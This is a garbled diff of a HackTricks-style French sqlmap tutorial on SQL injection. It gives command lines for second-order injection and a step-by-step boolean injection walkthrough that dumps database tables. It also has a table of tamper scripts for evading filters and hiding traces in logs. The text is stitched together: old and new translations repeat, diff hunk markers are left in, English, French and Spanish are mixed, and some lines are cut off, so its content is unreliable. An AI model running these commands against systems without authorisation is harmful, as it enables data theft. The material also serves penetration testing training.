Once the malicious code is stored, it can be triggered when the application retrieves and uses the stored data. This can lead to various types of attacks, such as remote code execution, data manipulation, or privilege escalation.
Une fois que le code malveillant est stocké, il peut être déclenché lorsque l'application récupère et utilise les données stockées. Cela peut entraîner différents types d'attaques, telles que l'exécution de code à distance, la manipulation de données ou l'escalade de privilèges.
To prevent second order injection attacks, it is important to properly sanitize and validate all user input before storing it in the application's database or other persistent storage. Additionally, regular security testing and code reviews can help identify and mitigate potential vulnerabilities.
Pour prévenir les attaques d'injection de second ordre, il est important de désinfecter et de valider correctement toutes les entrées utilisateur avant de les stocker dans la base de données de l'application ou autre support de stockage persistant. De plus, des tests de sécurité réguliers et des examens de code peuvent aider à identifier et à atténuer les vulnérabilités potentielles.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Lisez cet article**](second-order-injection-sqlmap.md) **sur la façon d'effectuer des injections de second ordre simples et complexes avec sqlmap.**
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
## Laboratoires pour s'entraîner
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) **qui a plus d'une décennie et qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:**
* Apprenez à utiliser sqlmap en l'utilisant dans la **salle THM**:
{% embed url="https://www.dragonjarcon.org/" %}
{% embed url="https://tryhackme.com/room/sqlmap" %}
## Personnalisation de l'injection
@ -162,70 +369,130 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Aide pour trouver une injection booléenne
---
#### Description
La technique d'injection booléenne est une méthode couramment utilisée pour exploiter les vulnérabilités de sécurité dans les applications web. Elle consiste à manipuler les requêtes SQL en insérant des expressions booléennes afin de déterminer si une condition est vraie ou fausse.
L'outil `sqlmap` est un outil de test d'injection SQL automatisé qui peut être utilisé pour détecter et exploiter les vulnérabilités d'injection SQL, y compris les injections booléennes.
#### Utilisation de `sqlmap` pour trouver une injection booléenne
Pour utiliser `sqlmap` afin de trouver une injection booléenne, suivez les étapes suivantes :
1. Lancez `sqlmap` en spécifiant l'URL de la cible :
```bash
sqlmap -u <URL de la cible>
```
2. Utilisez l'option `--dbs` pour extraire les noms des bases de données :
```bash
sqlmap -u <URL de la cible> --dbs
```
3. Sélectionnez la base de données cible en utilisant l'option `--db` :
```bash
sqlmap -u <URL de la cible> --db=<nom de la base de données>
```
4. Utilisez l'option `--tables` pour extraire les noms des tables de la base de données cible :
```bash
sqlmap -u <URL de la cible> --db=<nom de la base de données> --tables
```
5. Sélectionnez la table cible en utilisant l'option `--table` :
```bash
sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table>
```
6. Utilisez l'option `--columns` pour extraire les noms des colonnes de la table cible :
```bash
sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table> --columns
```
7. Sélectionnez les colonnes cibles en utilisant l'option `--dump` :
```bash
sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table> --columns=<noms des colonnes> --dump
```
8. `sqlmap` affichera les données extraites de la base de données cible, y compris les éventuelles informations sensibles.
---
Pour plus d'informations sur l'utilisation de `sqlmap`, consultez la documentation officielle : [https://github.com/sqlmapproject/sqlmap/wiki](https://github.com/sqlmapproject/sqlmap/wiki)
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Altération
### Altérer
Rappelez-vous que **vous pouvez créer votre propre altération en python** et c'est très simple. Vous pouvez trouver un exemple d'altération dans la page [Injection de Second Ordre ici](second-order-injection-sqlmap.md).
Rappelez-vous que **vous pouvez créer votre propre altération en python** et c'est très simple. Vous pouvez trouver un exemple d'altération dans la [page d'injection de second ordre ici](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur |
| apostrophemask.py | Remplace le caractère apostrophe par son homologue en pleine largeur UTF-8 |
| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal |
| appendnullbyte.py | Ajoute un octet NULL encodé à la fin de la charge utile |
| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile |
| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
| between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère blanc valide aléatoire. Ensuite, remplace le caractère = par l'opérateur LIKE |
| chardoubleencode.py | Encode en double URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
| chardoubleencode.py | Double l'encodage URL de tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
| commalesslimit.py | Remplace les occurrences de 'LIMIT M, N' par 'LIMIT N OFFSET M' |
| commalessmid.py | Remplace les occurrences de 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
| concat2concatws.py | Remplace les occurrences de 'CONCAT(A, B)' par 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
| charunicodeencode.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "%u0022" |
| charunicodeescape.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "\u0022" |
| charunicodeencode.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "%u0022" |
| charunicodeescape.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "\u0022" |
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
| escapequotes.py | Échappe les guillemets (' et ") |
| greatest.py | Remplace l'opérateur supérieur à ('>') par son homologue GREATEST |
| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' |
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
| ifnull2ifisnull.py | Remplace les occurrences de 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à version zéro |
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire de version zéro |
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres |
| percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère |
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire |
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire |
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
| securesphere.py | Ajoute une chaîne spécialement conçue |
| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux DBMS |
| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du DBMS |
| space2comment.py | Remplace l'espace (' ') par des commentaires |
| space2dash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2hash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2morehash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
| space2mssqlblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
| space2mssqlhash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') |
| space2mysqlblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
| space2mysqldash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une nouvelle ligne ('\n') |
| space2dash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
| space2hash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
| space2morehash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
| space2mssqlblank.py | Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs |
| space2mssqlhash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') |
| space2mysqlblank.py | Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs |
| space2mysqldash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n') |
| space2plus.py | Remplace l'espace (' ') par un signe plus ('+') |
| space2randomblank.py | Remplace l'espace (' ') par un caractère blanc aléatoire issu d'un ensemble valide de caractères alternatifs |
| space2randomblank.py | Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs |
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et |
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
| uppercase.py | Remplace chaque caractère de mot-clé par la valeur en majuscule 'INSERT' |
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
| xforwardedfor.py | Ajoute un en-tête HTTP fictif 'X-Forwarded-For' |
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) **est un événement international de cybersécurité** qui se tient depuis plus d'une décennie et aura lieu les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence ! :
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
{% embed url="https://www.dragonjarcon.org/" %}
@ -233,8 +500,10 @@ Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grand
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospol
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>